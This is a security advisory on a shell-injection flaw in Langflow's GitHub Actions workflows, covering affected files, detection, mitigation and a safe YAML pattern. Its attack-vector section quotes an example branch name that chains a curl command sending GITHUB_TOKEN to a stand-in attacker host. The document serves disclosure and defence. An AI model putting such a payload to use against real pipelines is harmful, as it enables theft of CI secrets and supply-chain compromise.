CVE-2026-33475: Langflow GitHub Actions RCE Vulnerability

CVE-2026-33475 Overview

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution.

Critical Impact
Unauthenticated attackers can achieve remote code execution in CI/CD pipelines, potentially exfiltrating secrets, tampering with releases, or compromising the software supply chain.

Affected Products

Langflow versions prior to 1.9.0
GitHub Actions workflows in .github/workflows/ directory
GitHub Actions in .github/actions/ directory

Discovery Timeline

2026-03-24 - CVE-2026-33475 published to NVD
2026-03-24 - Last updated in NVD database

Technical Details for CVE-2026-33475

Vulnerability Analysis

This vulnerability is classified as CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component), specifically manifesting as a shell injection vulnerability in GitHub Actions CI/CD workflows. The flaw enables unauthenticated remote code execution within the CI/CD environment, affecting any public fork of Langflow with GitHub Actions enabled.

The vulnerability allows attackers to inject and execute arbitrary shell commands during workflow execution. Successful exploitation can result in full access to CI secrets including GITHUB_TOKEN, the ability to push malicious tags or container images, tamper with software releases, or leak sensitive infrastructure data.

Root Cause

Several GitHub Actions workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands without proper sanitization. Variables such as github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values and must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

The affected files in Langflow 1.3.4 include:

.github/actions/install-playwright/action.yml
.github/workflows/deploy-docs-draft.yml
.github/workflows/docker-build.yml
.github/workflows/release_nightly.yml
.github/workflows/python_test.yml
.github/workflows/typescript_test.yml

Attack Vector

The attack is executed remotely over the network by exploiting the CI/CD pipeline. An attacker can fork the Langflow repository, create a branch with a malicious name containing shell commands (e.g., injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN), and open a pull request to the main branch. When GitHub Actions runs the affected workflow, the unsanitized branch name is interpolated into the shell command, causing the injected commands to execute. This allows the attacker to exfiltrate CI secrets via external HTTP requests or perform other malicious actions within the CI environment.

Detection Methods for CVE-2026-33475

Indicators of Compromise

Unusual outbound HTTP requests from GitHub Actions runners to unknown external domains
Unexpected branch names containing shell metacharacters such as &&, |, ;, or backticks in pull request events
CI/CD workflow logs showing execution of commands not defined in the workflow files
Unauthorized releases, tags, or container image pushes to package registries

Detection Strategies

Audit GitHub Actions workflow files for direct interpolation of user-controlled variables (e.g., ${{ github.head_ref }}, ${{ github.event.pull_request.title }}) in run: steps
Monitor GitHub Actions workflow execution logs for anomalous command patterns or unexpected network activity
Implement branch name validation policies that reject names containing shell metacharacters
Review pull requests from forks for suspicious branch naming patterns before allowing workflow execution

Monitoring Recommendations

Enable GitHub Actions workflow audit logging and forward logs to SIEM for analysis
Set up alerts for outbound network connections from CI runners to non-allowlisted domains
Monitor for unexpected changes to release artifacts, container images, or published packages
Review GitHub repository settings to ensure proper workflow approval requirements for fork pull requests

How to Mitigate CVE-2026-33475

Immediate Actions Required

Upgrade Langflow to version 1.9.0 or later which contains the security patch
Review and audit all GitHub Actions workflow files for unsafe variable interpolation patterns
Enable workflow approval requirements for pull requests from repository forks
Rotate any secrets that may have been exposed if exploitation is suspected

Patch Information

Version 1.9.0 of Langflow patches this vulnerability. For detailed information about the security fix, refer to the GitHub Security Advisory GHSA-87cc-65ph-2j4w.

Workarounds

Refactor affected workflows to use environment variables instead of direct interpolation, wrapping values in double quotes
Implement input validation for branch names and pull request titles before processing in workflows
Restrict GitHub Actions from running on pull requests from forks until the patch is applied
Apply the principle of least privilege to GITHUB_TOKEN permissions in workflow configurations

yaml

# Secure configuration example - use environment variables instead of direct interpolation
env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""